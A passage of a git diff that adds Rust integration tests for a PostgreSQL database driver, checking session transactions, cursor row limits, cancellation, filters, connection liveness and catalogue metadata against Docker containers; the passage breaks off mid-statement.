run_ok( + session.as_ref(), + "CREATE FUNCTION two() RETURNS int LANGUAGE sql BEGIN ATOMIC SELECT 1; SELECT 2; END;\nSELECT two()", + ) + .await; + + assert_eq!(texts(&events), ["2"]); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn vacuum_after_select_in_same_script_succeeds() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup(connection.as_ref(), &["CREATE TABLE t (id int)"]).await; + let session = session(connection.as_ref()).await; + + let (summary, _) = run(session.as_ref(), "SELECT 1; VACUUM t").await; + + assert_eq!(summary.end, RunEnd::Completed, "the cursor left a transaction open"); + assert_eq!(summary.transaction_state, TransactionState::Idle); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn select_inside_begin_uses_savepoint_cursor_row_limit() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let session = session(connection.as_ref()).await; + run_ok(session.as_ref(), "BEGIN").await; + + let (summary, events) = run_with(session.as_ref(), "SELECT generate_series(1, 2000000)", limited(100)).await; + + assert_eq!(summary.end, RunEnd::Completed); + assert_eq!(events.rows().len(), 100); + assert!(matches!( + events.finished().as_slice(), + [ResultEvent::ResultSetFinished { + retained: 100, + truncation: Truncation::ReadPastLimit, + .. + }] + )); + assert_eq!(summary.transaction_state, TransactionState::InTransaction); + let (committed, _) = run(session.as_ref(), "COMMIT").await; + assert_eq!(committed.end, RunEnd::Completed); + assert_eq!(committed.transaction_state, TransactionState::Idle); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn delete_returning_50000_limit_100_deletes_all() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &["CREATE TABLE d AS SELECT generate_series(1, 50000) AS n"], + ) + .await; + let session = session(connection.as_ref()).await; + + let (summary, events) = run_with(session.as_ref(), "DELETE FROM d RETURNING n", limited(100)).await; + + assert_eq!(summary.end, RunEnd::Completed); + assert_eq!(events.rows().len(), 100); + assert!(matches!( + events.finished().as_slice(), + [ResultEvent::ResultSetFinished { + total_rows: Some(50_000), + truncation: Truncation::ReadPastLimit, + .. + }] + )); + assert_eq!( + scalar(connection.as_ref(), "SELECT count(*) FROM d").await, + Value::Int(0) + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn script_insert_select_insert_both_persist() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup(connection.as_ref(), &["CREATE TABLE t (id int)"]).await; + let session = session(connection.as_ref()).await; + + run_ok( + session.as_ref(), + "INSERT INTO t VALUES (1); SELECT * FROM t; INSERT INTO t VALUES (2)", + ) + .await; + + assert_eq!( + scalar(connection.as_ref(), "SELECT count(*) FROM t").await, + Value::Int(2) + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn cursor_trailing_line_comment_still_fetches() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let session = session(connection.as_ref()).await; + + let events = run_ok(session.as_ref(), "SELECT 41 + 1 -- the answer").await; + + assert_eq!(texts(&events), ["42"]); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn data_modifying_with_falls_back_0a000() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &["CREATE TABLE t (id int)", "INSERT INTO t VALUES (1), (2), (3)"], + ) + .await; + let session = session(connection.as_ref()).await; + + let events = run_ok( + session.as_ref(), + "WITH gone AS (DELETE FROM t RETURNING id) SELECT count(*) FROM gone", + ) + .await; + + assert_eq!(texts(&events), ["3"]); + assert_eq!( + scalar(connection.as_ref(), "SELECT count(*) FROM t").await, + Value::Int(0) + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn select_into_inside_block_falls_back_42601_and_block_survives() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let session = session(connection.as_ref()).await; + run_ok(session.as_ref(), "BEGIN").await; + + let (selected, _) = run(session.as_ref(), "SELECT 5 AS n INTO made").await; + let (committed, _) = run(session.as_ref(), "COMMIT").await; + + assert_eq!(selected.end, RunEnd::Completed); + assert_eq!(selected.transaction_state, TransactionState::InTransaction); + assert_eq!(committed.end, RunEnd::Completed); + assert_eq!(scalar(connection.as_ref(), "SELECT n FROM made").await, Value::Int(5)); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn copy_from_stdin_refused_before_send() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup(connection.as_ref(), &["CREATE TABLE t (id int)"]).await; + let session = session(connection.as_ref()).await; + + let (summary, _) = run(session.as_ref(), "COPY t FROM STDIN").await; + + assert!( + matches!(summary.end, RunEnd::Failed(DriverError::Unsupported { .. })), + "{:?}", + summary.end + ); + run_ok(session.as_ref(), "SELECT 1").await; +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn parse_error_leaves_session_idle() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let session = session(connection.as_ref()).await; + + let (summary, _) = run(session.as_ref(), "SELEC 1").await; + + let RunEnd::Failed(DriverError::Server(diagnostics)) = &summary.end else { + panic!("a syntax error ended {:?}", summary.end); + }; + assert_eq!(diagnostics.sqlstate(), Some("42601")); + assert_eq!(diagnostics.position, Some(1)); + assert_eq!(summary.transaction_state, TransactionState::Idle); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn a_cursor_error_points_into_the_users_own_statement() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let session = session(connection.as_ref()).await; + + let (summary, _) = run(session.as_ref(), "SELECT nope FROM pg_class").await; + + let RunEnd::Failed(DriverError::Server(diagnostics)) = &summary.end else { + panic!("a missing column ended {:?}", summary.end); + }; + assert_eq!(diagnostics.sqlstate(), Some("42703")); + assert_eq!( + diagnostics.position, + Some(8), + "the DECLARE prefix leaked into the position" + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn call_procedure_with_commit_probes_status() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE log (n int)", + "CREATE PROCEDURE p() LANGUAGE plpgsql AS $$ \ + BEGIN INSERT INTO log VALUES (1); COMMIT; INSERT INTO log VALUES (2); END $$", + ], + ) + .await; + let session = session(connection.as_ref()).await; + + let (summary, _) = run(session.as_ref(), "CALL p()").await; + + assert_eq!(summary.end, RunEnd::Completed); + assert_eq!(summary.transaction_state, TransactionState::Idle); + assert_eq!( + scalar(connection.as_ref(), "SELECT count(*) FROM log").await, + Value::Int(2) + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn do_block_commit_probes_status() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let session = session(connection.as_ref()).await; + + let (summary, _) = run( + session.as_ref(), + "DO $$ BEGIN CREATE TABLE made_in_do (n int); COMMIT; END $$", + ) + .await; + + assert_eq!(summary.end, RunEnd::Completed); + assert_eq!(summary.transaction_state, TransactionState::Idle); + assert_eq!( + scalar(connection.as_ref(), "SELECT count(*) FROM made_in_do").await, + Value::Int(0) + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn commit_and_chain_stays_in_transaction() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let session = session(connection.as_ref()).await; + run_ok(session.as_ref(), "BEGIN").await; + + let (chained, _) = run(session.as_ref(), "COMMIT AND CHAIN").await; + let (rolled_back, _) = run(session.as_ref(), "ROLLBACK").await; + + assert_eq!(chained.transaction_state, TransactionState::InTransaction); + assert_eq!(rolled_back.transaction_state, TransactionState::Idle); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn savepoint_probe_25p01_idle_25p02_failed() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let session = session(connection.as_ref()).await; + run_ok(session.as_ref(), "BEGIN").await; + + let (failed, _) = run(session.as_ref(), "SELECT 1 / 0").await; + let (refused, _) = run(session.as_ref(), "SELECT 1").await; + let state = session.transaction_state(within(CALL)).await; + let (ended, _) = run(session.as_ref(), "ROLLBACK").await; + + assert!(matches!(failed.end, RunEnd::Failed(_))); + assert_eq!(failed.transaction_state, TransactionState::Failed); + assert!( + matches!(&refused.end, RunEnd::Failed(DriverError::Server(d)) if d.sqlstate() == Some("25P02")), + "{:?}", + refused.end + ); + assert_eq!(state, Ok(TransactionState::Failed)); + assert_eq!(ended.transaction_state, TransactionState::Idle); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn slow_sink_receives_all_rows_in_order() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let session = session(connection.as_ref()).await; + let events = Events::default(); + + let summary = session + .run( + tablepro_core::UserSql::new("SELECT generate_series(1, 1000)"), + RunOptions::new(CancellationToken::new()), + Box::new(EventSink::new(&events).slow(Duration::from_millis(5))), + ) + .await + .expect("the run"); + + assert_eq!(summary.end, RunEnd::Completed); + let expected: Vec = (1..=1000).map(|n| n.to_string()).collect(); + assert_eq!(texts(&events), expected); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn consumer_gone_cancels_and_session_ready() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let session = session(connection.as_ref()).await; + let events = Events::default(); + + let summary = session + .run( + tablepro_core::UserSql::new("SELECT g FROM generate_series(1, 100000) g; SELECT 2"), + RunOptions::new(CancellationToken::new()), + Box::new(EventSink::new(&events).gone_after(1)), + ) + .await + .expect("the run"); + + assert_eq!(summary.end, RunEnd::Cancelled); + assert_eq!(session.state(), EditorSessionState::Ready); + assert_eq!(summary.transaction_state, TransactionState::Idle); + run_ok(session.as_ref(), "SELECT 1").await; +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn notices_reach_the_sink() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let session = session(connection.as_ref()).await; + + let events = run_ok(session.as_ref(), "DO $$ BEGIN RAISE NOTICE 'hello there'; END $$").await; + + assert!( + events + .all() + .iter() + .any(|event| matches!(event, ResultEvent::Notice(notice) if notice.message == "hello there")), + "{:?}", + events.all() + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn standard_conforming_strings_off_splits_with_backslash_escapes() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let session = session(connection.as_ref()).await; + + let events = run_ok( + session.as_ref(), + "SET standard_conforming_strings = off; SELECT 'a\\';b' AS quoted", + ) + .await; + + assert_eq!(texts(&events), ["a';b"]); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn editor_deadline_times_out_with_the_server_acknowledging() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let session = session(connection.as_ref()).await; + let options = RunOptions::new(CancellationToken::new()).with_deadline(Some(Duration::from_secs(1))); + + let (summary, _) = run_with(session.as_ref(), "SELECT pg_sleep(60)", options).await; + + assert_eq!(summary.end, RunEnd::TimedOut { server_cancelled: true }); + assert!(summary.elapsed < Duration::from_secs(3), "{:?}", summary.elapsed); + assert_eq!(session.state(), EditorSessionState::Ready); + run_ok(session.as_ref(), "SELECT 1").await; +} diff --git a/linux/crates/drivers/postgres/tests/integration/filter.rs b/linux/crates/drivers/postgres/tests/integration/filter.rs new file mode 100644 index 0000000000..6443945357 --- /dev/null +++ b/linux/crates/drivers/postgres/tests/integration/filter.rs @@ -0,0 +1,77 @@ +//! Filters on columns that are not text but are searched as text. + +use tablepro_core::filter::{FilterOp, FilterRule, FilterSet, FilterValue, build_filter}; +use tablepro_core::meta::TableRef; +use tablepro_core::statement::StatementBuilder; +use tablepro_core::{Connection, RowLimit, Value}; + +use crate::support::{CALL, connect, setup, start, within}; + +async fn ids_where(connection: &dyn Connection, column: &str, op: FilterOp, text: &str) -> Vec { + let table = TableRef::new(Some("public".to_owned()), "docs"); + let columns = connection + .fetch_columns(&table, within(CALL)) + .await + .expect("the columns"); + let dialect = connection.dialect(); + let mut builder = StatementBuilder::new(); + builder.push_sql(&format!("SELECT id FROM {} WHERE ", dialect.qualify(&table))); + let filter = FilterSet { + rules: vec![FilterRule { + column: column.to_owned(), + op, + value: Some(FilterValue::Single(text.to_owned())), + }], + ..FilterSet::default() + }; + build_filter(&mut builder, dialect.as_ref(), &columns, &filter).expect("a filter"); + builder.push_sql(" ORDER BY id"); + connection + .query_bound(&builder.finish(), RowLimit::EDITOR_DEFAULT, within(CALL)) + .await + .expect("the filtered rows") + .rows + .into_iter() + .filter_map(|row| row.into_iter().next()) + .collect() +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn contains_and_equals_on_json_jsonb_xml_and_enum() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TYPE mood AS ENUM ('calm', 'cross')", + "CREATE TABLE docs (id int PRIMARY KEY, j json, jb jsonb, x xml, m mood)", + "INSERT INTO docs VALUES \ + (1, '{\"tag\":\"red\"}', '{\"tag\":\"red\"}', 'red', 'calm'), \ + (2, '{\"tag\":\"blue\"}', '{\"tag\":\"blue\"}', 'blue', 'cross')", + ], + ) + .await; + let first = || vec![Value::Int(1)]; + + for column in ["j", "jb", "x"] { + assert_eq!( + ids_where(connection.as_ref(), column, FilterOp::Contains, "red").await, + first(), + "{column}" + ); + } + assert_eq!( + ids_where(connection.as_ref(), "m", FilterOp::StartsWith, "ca").await, + first() + ); + assert_eq!( + ids_where(connection.as_ref(), "j", FilterOp::Eq, "{\"tag\":\"red\"}").await, + first() + ); + assert_eq!( + ids_where(connection.as_ref(), "x", FilterOp::Eq, "red").await, + first() + ); + assert_eq!(ids_where(connection.as_ref(), "m", FilterOp::Eq, "calm").await, first()); +} diff --git a/linux/crates/drivers/postgres/tests/integration/liveness.rs b/linux/crates/drivers/postgres/tests/integration/liveness.rs new file mode 100644 index 0000000000..26ccdbfc06 --- /dev/null +++ b/linux/crates/drivers/postgres/tests/integration/liveness.rs @@ -0,0 +1,59 @@ +//! A dead backend is not a dead link, and a dead server is. + +use std::time::Duration; + +use tablepro_core::{LinkState, RowLimit}; + +use crate::support::{CALL, connect, run_ok, session, start, statement, within}; + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn terminate_backend_link_stays_open_after_healthy_probe() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let killer = session(connection.as_ref()).await; + let select = statement("SELECT 1"); + connection + .query_bound(&select, RowLimit::EDITOR_DEFAULT, within(CALL)) + .await + .expect("a first read"); + + run_ok( + killer.as_ref(), + "SELECT pg_terminate_backend(pid) FROM pg_stat_activity \ + WHERE application_name = 'TablePro' AND pid <> pg_backend_pid() AND backend_type = 'client backend'", + ) + .await; + let first = connection + .query_bound(&select, RowLimit::EDITOR_DEFAULT, within(CALL)) + .await; + let second = connection + .query_bound(&select, RowLimit::EDITOR_DEFAULT, within(CALL)) + .await; + + assert!( + second.is_ok(), + "the pool did not recover: first {first:?}, then {second:?}" + ); + assert_eq!(connection.link_state(), LinkState::Live); + assert!(connection.probe(within(CALL)).await.is_ok()); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn stopped_container_marks_lost() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + connection.probe(within(CALL)).await.expect("a first probe"); + + fixture.container().stop().await.expect("the container stopped"); + let probed = connection.probe(within(Duration::from_secs(5))).await; + + assert!(probed.is_err()); + assert_eq!(connection.link_state(), LinkState::Lost); + assert!( + tokio::time::timeout(Duration::from_secs(1), connection.lost()) + .await + .is_ok() + ); +} diff --git a/linux/crates/drivers/postgres/tests/integration/main.rs b/linux/crates/drivers/postgres/tests/integration/main.rs new file mode 100644 index 0000000000..e4e3f54539 --- /dev/null +++ b/linux/crates/drivers/postgres/tests/integration/main.rs @@ -0,0 +1,20 @@ +//! PostgreSQL against real servers. Every test that needs one starts +//! its own container and is ignored without Docker. + +#![expect( + clippy::expect_used, + reason = "the setup helpers fail a test the way the test functions themselves do" +)] + +mod cancellation; +mod conformance_engine; +mod decode; +mod editor_session; +mod filter; +mod liveness; +mod metadata; +mod pgbouncer; +mod read_only; +mod support; +mod tls; +mod write_batch; diff --git a/linux/crates/drivers/postgres/tests/integration/metadata.rs b/linux/crates/drivers/postgres/tests/integration/metadata.rs new file mode 100644 index 0000000000..805f68430f --- /dev/null +++ b/linux/crates/drivers/postgres/tests/integration/metadata.rs @@ -0,0 +1,543 @@ +//! The catalogue as the sidebar, the grid and the structure tab read it. + +use tablepro_core::column::ColumnDefault; +use tablepro_core::column::{ + BoolStorage, ColumnKind, FloatWidth, IntegerKind, IntegerWidth, NetworkFamily, ReadForm, TemporalZone, TextLength, +}; +use tablepro_core::ddl::{CollationName, GeneratedStorage, IdentityStyle}; +use tablepro_core::meta::{EngineRowId, IndexKey, ObjectKind, ObjectScope, RowCountEstimate, RowIdentity, TableRef}; +use tablepro_core::save::{ChangeSet, RowUpdate, plan_save}; +use tablepro_core::{DriverError, Value}; +use tablepro_test_fixtures::{HbaMode, PostgresFixture, PostgresVersion}; + +use crate::support::{CALL, connect, rows, run_ok, scalar, session, setup, start, text, within}; + +fn table(name: &str) -> TableRef { + TableRef::new(Some("public".to_owned()), name) +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn object_kinds_listed() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE plain (id int)", + "CREATE TABLE parted (id int) PARTITION BY RANGE (id)", + "CREATE TABLE parted_low PARTITION OF parted FOR VALUES FROM (0) TO (10)", + "CREATE VIEW seen AS SELECT 1 AS n", + "CREATE MATERIALIZED VIEW kept AS SELECT 1 AS n", + "CREATE SEQUENCE counter", + "CREATE FUNCTION f() RETURNS int LANGUAGE sql AS 'SELECT 1'", + "CREATE PROCEDURE p() LANGUAGE sql AS 'SELECT 1'", + ], + ) + .await; + + let objects = connection + .list_objects(&ObjectScope::DefaultSchema, within(CALL)) + .await + .expect("the objects"); + + let kind_of = |name: &str| { + objects + .iter() + .find(|object| object.name == name) + .map(|object| object.kind) + }; + assert_eq!(kind_of("plain"), Some(ObjectKind::Table)); + assert_eq!(kind_of("parted"), Some(ObjectKind::PartitionedTable)); + assert_eq!(kind_of("parted_low"), Some(ObjectKind::Table)); + assert_eq!(kind_of("seen"), Some(ObjectKind::View)); + assert_eq!(kind_of("kept"), Some(ObjectKind::MaterializedView)); + assert_eq!(kind_of("counter"), Some(ObjectKind::Sequence)); + assert_eq!(kind_of("f"), Some(ObjectKind::Function)); + assert_eq!(kind_of("p"), Some(ObjectKind::Procedure)); + assert!(objects.iter().all(|object| object.schema.as_deref() == Some("public"))); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn other_session_temp_table_excluded() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let other = session(connection.as_ref()).await; + run_ok(other.as_ref(), "CREATE TEMP TABLE private_scratch (n int)").await; + + let schemas = connection.list_schemas(within(CALL)).await.expect("the schemas"); + let objects = connection + .list_objects(&ObjectScope::AllSchemas, within(CALL)) + .await + .expect("the objects"); + + assert!( + !schemas.iter().any(|schema| schema.name.starts_with("pg_temp")), + "{schemas:?}" + ); + assert!(!objects.iter().any(|object| object.name == "private_scratch")); + assert!( + schemas + .iter() + .any(|schema| schema.name == "public" && schema.is_default) + ); + assert!( + schemas + .iter() + .any(|schema| schema.name == "pg_catalog" && schema.is_system) + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn expression_desc_partial_index_keys() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE t (id int PRIMARY KEY, label text)", + "CREATE UNIQUE INDEX t_label ON t (lower(label) DESC, id) WHERE id > 0", + ], + ) + .await; + + let indexes = connection + .fetch_indexes(&table("t"), within(CALL)) + .await + .expect("the indexes"); + + let partial = indexes + .iter() + .find(|index| index.name == "t_label") + .expect("the partial index"); + assert!(partial.unique && !partial.primary); + assert_eq!(partial.predicate.as_deref(), Some("(id > 0)")); + assert_eq!( + partial.keys, + vec![ + IndexKey::Expression { + sql: "lower(label)".to_owned(), + descending: true + }, + IndexKey::Column { + name: "id".to_owned(), + descending: false + }, + ] + ); + assert!(!partial.can_identify_rows()); + assert!( + indexes + .iter() + .any(|index| index.primary && index.key_columns() == ["id"]) + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn identity_pk_unique_notnull_ctid_partitioned() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE keyed (id int PRIMARY KEY)", + "CREATE TABLE coded (code text NOT NULL UNIQUE, other int)", + "CREATE TABLE nullable_unique (code text UNIQUE)", + "CREATE TABLE bare (n int)", + "CREATE TABLE parted (n int) PARTITION BY RANGE (n)", + "CREATE VIEW seen AS SELECT 1 AS n", + ], + ) + .await; + let identity = |name: &'static str| { + let connection = connection.clone(); + async move { connection.row_identity(&table(name), within(CALL)).await } + }; + + assert_eq!( + identity("keyed").await, + Ok(RowIdentity::UniqueKey { + columns: vec!["id".to_owned()] + }) + ); + assert_eq!( + identity("coded").await, + Ok(RowIdentity::UniqueKey { + columns: vec!["code".to_owned()] + }) + ); + assert_eq!( + identity("nullable_unique").await, + Ok(RowIdentity::EngineRowId(EngineRowId::PostgresCtid)) + ); + assert_eq!( + identity("bare").await, + Ok(RowIdentity::EngineRowId(EngineRowId::PostgresCtid)) + ); + assert_eq!( + identity("parted").await, + Ok(RowIdentity::EngineRowId(EngineRowId::PostgresTableoidCtid)) + ); + assert_eq!(identity("seen").await, Ok(RowIdentity::Unordered)); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn stale_ctid_edit_after_vacuum_reuse_row_guard_failed() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &["CREATE TABLE t (v text)", "INSERT INTO t VALUES ('old')"], + ) + .await; + let target = table("t"); + let before = rows(connection.as_ref(), "SELECT ctid::text, xmin::text FROM t").await; + let maintenance = session(connection.as_ref()).await; + run_ok(maintenance.as_ref(), "DELETE FROM t").await; + run_ok(maintenance.as_ref(), "VACUUM t").await; + run_ok(maintenance.as_ref(), "INSERT INTO t VALUES ('new')").await; + let after = rows(connection.as_ref(), "SELECT ctid::text FROM t").await; + let columns = connection + .fetch_columns(&target, within(CALL)) + .await + .expect("the columns"); + let identity = connection + .row_identity(&target, within(CALL)) + .await + .expect("the identity"); + let dialect = connection.dialect(); + let changes = ChangeSet { + updates: vec![RowUpdate { + key: before[0].clone(), + assignments: vec![(0, Value::Text("changed".to_owned()))], + }], + ..ChangeSet::default() + }; + let plan = plan_save(dialect.as_ref(), &target, &columns, &identity, &changes).expect("a plan"); + + let outcome = connection.write_batch(&plan.batch, within(CALL)).await; + + assert_eq!(after[0][0], before[0][0], "VACUUM did not hand the slot to the new row"); + assert_eq!(identity, RowIdentity::EngineRowId(EngineRowId::PostgresCtid)); + assert!( + matches!(outcome, Err(DriverError::RowGuardFailed { actual: 0, .. })), + "{outcome:?}" + ); + assert_eq!(text(&scalar(connection.as_ref(), "SELECT v FROM t").await), "new"); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn estimate_heap_blocks_matches_relation_size() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &["CREATE TABLE t AS SELECT generate_series(1, 1000) AS n"], + ) + .await; + let maintenance = session(connection.as_ref()).await; + run_ok(maintenance.as_ref(), "ANALYZE t").await; + + let estimate = connection + .table_estimate(&table("t"), within(CALL)) + .await + .expect("an estimate"); + let blocks = scalar( + connection.as_ref(), + "SELECT pg_relation_size('t') / current_setting('block_size')::int8", + ) + .await; + + assert_eq!(estimate.rows, RowCountEstimate::Approximate(1000)); + assert_eq!( + estimate.heap_blocks.map(|blocks| Value::Int(blocks as i64)), + Some(blocks) + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn fetch_table_definition_reports_pk_name_collation_comment_and_inbound_keys() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE parent (id int CONSTRAINT parent_key PRIMARY KEY, name text COLLATE \"C\", \ + doubled int GENERATED ALWAYS AS (id * 2) STORED, serial_no serial, ident int GENERATED BY DEFAULT AS IDENTITY)", + "COMMENT ON COLUMN parent.name IS 'the name'", + "CREATE TABLE child (parent_id int REFERENCES parent (id) ON DELETE CASCADE)", + ], + ) + .await; + + let definition = connection + .fetch_table_definition(&table("parent"), within(CALL)) + .await + .expect("the definition"); + + let primary_key = definition.primary_key.clone().expect("a primary key"); + assert_eq!(primary_key.name.as_deref(), Some("parent_key")); + assert_eq!(primary_key.columns, ["id"]); + let name = definition.column("name").expect("the name column"); + assert_eq!( + name.attributes.collation, + Some(CollationName::new(Some("pg_catalog".to_owned()), "C")) + ); + assert_eq!(name.info.comment.as_deref(), Some("the name")); + let doubled = definition.column("doubled").expect("the generated column"); + assert!(doubled.info.is_generated); + assert_eq!( + doubled.attributes.generated.as_ref().map(|generated| generated.storage), + Some(GeneratedStorage::Stored) + ); + assert_eq!( + definition.column("serial_no").map(|column| column.attributes.identity), + Some(IdentityStyle::SequenceDefault) + ); + assert_eq!( + definition.column("ident").map(|column| column.attributes.identity), + Some(IdentityStyle::GeneratedByDefault) + ); + assert_eq!(definition.inbound_foreign_keys.len(), 1); + let inbound = &definition.inbound_foreign_keys[0]; + assert_eq!(inbound.table, table("child")); + assert_eq!(inbound.columns, ["parent_id"]); + assert_eq!(inbound.referenced_columns, ["id"]); + let outbound = connection + .fetch_foreign_keys(&table("child"), within(CALL)) + .await + .expect("the foreign keys"); + assert_eq!(outbound.len(), 1); + assert_eq!(outbound[0].ref_table, "parent"); + assert_eq!( + outbound[0].on_delete, + Some(tablepro_core::ddl::ReferentialAction::Cascade) + ); + assert!(definition.source.is_none()); +} + +const CATALOG_TABLE: &[&str] = &[ + "CREATE TYPE mood AS ENUM ('sad', 'ok', 'happy')", + "CREATE DOMAIN positive AS int4 CHECK (VALUE > 0)", + "CREATE TABLE typed ( + id serial PRIMARY KEY, + small int2 NOT NULL DEFAULT 7, + num numeric(10, 2), + price money, + name varchar(20) DEFAULT 'it''s', + code char(4), + flag boolean, + born date, + at timestamptz(3) DEFAULT now(), + t time(3), + tz timetz, + span interval, + bits bit(8), + vbits varbit(16), + doc jsonb, + u uuid, + addr inet, + mac macaddr, + tags text[], + feeling mood, + pos point, + r int4range, + tsv tsvector, + count positive, + ratio float4 + )", +]; + +async fn catalog_matches_information_schema(version: PostgresVersion) { + let fixture = PostgresFixture::start_version(version, HbaMode::Password) + .await + .expect("a PostgreSQL container"); + let connection = connect(&fixture, false).await; + setup(connection.as_ref(), CATALOG_TABLE).await; + + let columns = connection + .fetch_columns(&table("typed"), within(CALL)) + .await + .expect("the columns"); + let schema = rows( + connection.as_ref(), + "SELECT column_name::text, (is_nullable = 'YES') FROM information_schema.columns \ + WHERE table_name = 'typed' ORDER BY ordinal_position", + ) + .await; + + let ours: Vec<(String, Value)> = columns + .iter() + .map(|column| (column.name.clone(), Value::Bool(column.nullable))) + .collect(); + let theirs: Vec<(String, Value)> = schema.iter().map(|row| (text(&row[0]), row[1].clone())).collect(); + assert_eq!(ours, theirs, "PostgreSQL {}", version.major()); + + let column = |name: &str| columns.iter().find(|column| column.name == name).expect("a column"); + let int = |width| ColumnKind::Integer(IntegerKind { width, signed: true }); + let cases: Vec<(&str, ColumnKind, ReadForm)> = vec![ + ("id", int(IntegerWidth::W32), ReadForm::Native), + ("small", int(IntegerWidth::W16), ReadForm::Native), + ( + "num", + ColumnKind::Decimal { + precision: Some(10), + scale: Some(2), + }, + ReadForm::Native, + ), + ("price", ColumnKind::Money { scale: None }, ReadForm::ServerNumeric), + ( + "name", + ColumnKind::Text { + length: TextLength::Varying(20), + }, + ReadForm::Native, + ), + ( + "code", + ColumnKind::Text { + length: TextLength::Fixed(4), + }, + ReadForm::Native, + ), + ("flag", ColumnKind::Bool(BoolStorage::Native), ReadForm::Native), + ("born", ColumnKind::Date, ReadForm::Native), + ( + "at", + ColumnKind::Timestamp { + fractional_digits: Some(3), + zone: TemporalZone::Offset, + }, + ReadForm::Native, + ), + ( + "bits", + ColumnKind::BitString { + length: Some(8), + varying: false, + }, + ReadForm::Native, + ), + ("doc", ColumnKind::Json { binary: true }, ReadForm::Native), + ("addr", ColumnKind::Network(NetworkFamily::Inet), ReadForm::Native), + ( + "tags", + ColumnKind::Array { + element: Box::new(ColumnKind::Text { + length: TextLength::Unbounded, + }), + }, + ReadForm::Native, + ), + ( + "feeling", + ColumnKind::Enum { + labels: vec!["sad".to_owned(), "ok".to_owned(), "happy".to_owned()], + multiple: false, + }, + ReadForm::ServerText, + ), + ("pos", ColumnKind::Spatial, ReadForm::Native), + ("r", ColumnKind::Other, ReadForm::ServerText), + ("tsv", ColumnKind::Other, ReadForm::ServerText), + ("count", int(IntegerWidth::W32), ReadForm::Native), + ("ratio", ColumnKind::Float(FloatWidth::F32), ReadForm::Native), + ]; + for 